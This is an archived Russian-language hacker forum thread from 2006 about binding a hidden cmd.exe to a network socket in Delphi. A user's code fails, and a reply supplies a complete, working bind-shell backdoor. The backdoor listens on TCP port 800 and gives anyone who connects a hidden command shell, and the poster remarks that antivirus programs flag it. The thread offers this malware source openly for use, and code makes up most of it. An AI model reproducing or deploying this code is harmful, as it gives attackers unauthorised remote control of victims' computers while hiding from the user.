Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Проблема при связывании сокета с консолью

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Проблема при связывании сокета с консолью
Имя
Сообщение << Старые топики   Новые топики >>
Проблема при связывании сокета с консолью - 2006-11-14 12:36:23.586666   
SLESH

Сообщений: 109
Оценки: 0
Присоединился: 2005-08-19 11:37:22
Проблема возникла при написании програмки которая ждет подключения
к определенному порту, потом запускает cmd.exe и связывает с ним
дискриптор сокета.
Вродебы во всех Шел-кодах делается так…
Тестировалось это на Windows XP Corporation SP2
var

mysock,csocket:tsocket;
caddr:sockaddr_in;
cs:integer;
si:TStartupInfo;
pi:TProcessInformation;

begin

csocket:=accept(mysock,caddr,cs);
si.cb:=SizeOf(si);
si.hStdInput:=csocket;
si.hStdOutput:=csocket;
si.hStdError:=csocket;
si.dwFlags:=STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW;
si.wShowWindow:=sw_hide;
CreateProcess(nil,'CMD', nil, nil,true,0,0,0,si,pi);

Весь прикол в том, что при указании:
si.dwFlags:=STARTF_USESTDHANDLES+STARTF_USESHOWWINDOW;
CMD.exe запускается, но сразу закрывается.
Проблема решается:
si.dwFlags:=STARTF_USESHOWWINDOW;
Но тогда cmd.exe не наследует дискриптор сокета.
И следовательно данные из сокате не перенаправляются в консоль, и наоборот
из консоли не идут в сокет.
Подскажите как решить данную проблему!
Post #: 1
RE: Проблема при связывании сокета с консолью - 2006-11-14 20:06:20.116666   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
Был у меня гдето рабочий исходник .. потерялся :)
вообшем поиши в гугле "BindShell"
Post #: 2
RE: Проблема при связывании сокета с консолью - 2006-11-14 20:11:19.103333   
blacksun

Сообщений: 2360
Оценки: 0
Присоединился: 2006-09-27 03:05:59.350000
// нашел :) НО! его палят анивири … :(

program BindShell;

uses
Windows,
WinSock;

function WSASocketA(af, wType, protocol: integer;
lpProtocolInfo: pointer;
g, dwFlags: dword): integer;
stdcall; external 'ws2_32.dll';

var
WSAData: TWSAData;
FSocket: integer;
SockAddrIn: TSockAddrIn;
sHandle: dword;
St: TStartupInfo;
Pr: TProcessInformation;

begin
WSAStartup($202, WSAData); // инициализация WinSocks2
// создаем сокет
FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
bind(FSocket, SockAddrIn, 16);
listen(FSocket, 0); // открываем порт
while true do
begin
sHandle := accept(FSocket, nil, 0); // ожидаем соединения
if sHandle <> INVALID_SOCKET then
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_HIDE;
St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
St.hStdInput := sHandle;
St.hStdOutput := sHandle;
St.hStdError := sHandle;
// запускаем cmd.exe с перенаправлением ввода-вывода
CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
CloseHandle(sHandle);
CloseHandle(Pr.hProcess);
CloseHandle(Pr.hThread);
end;
end;
end.
Post #: 3
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Проблема при связывании сокета с консолью







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.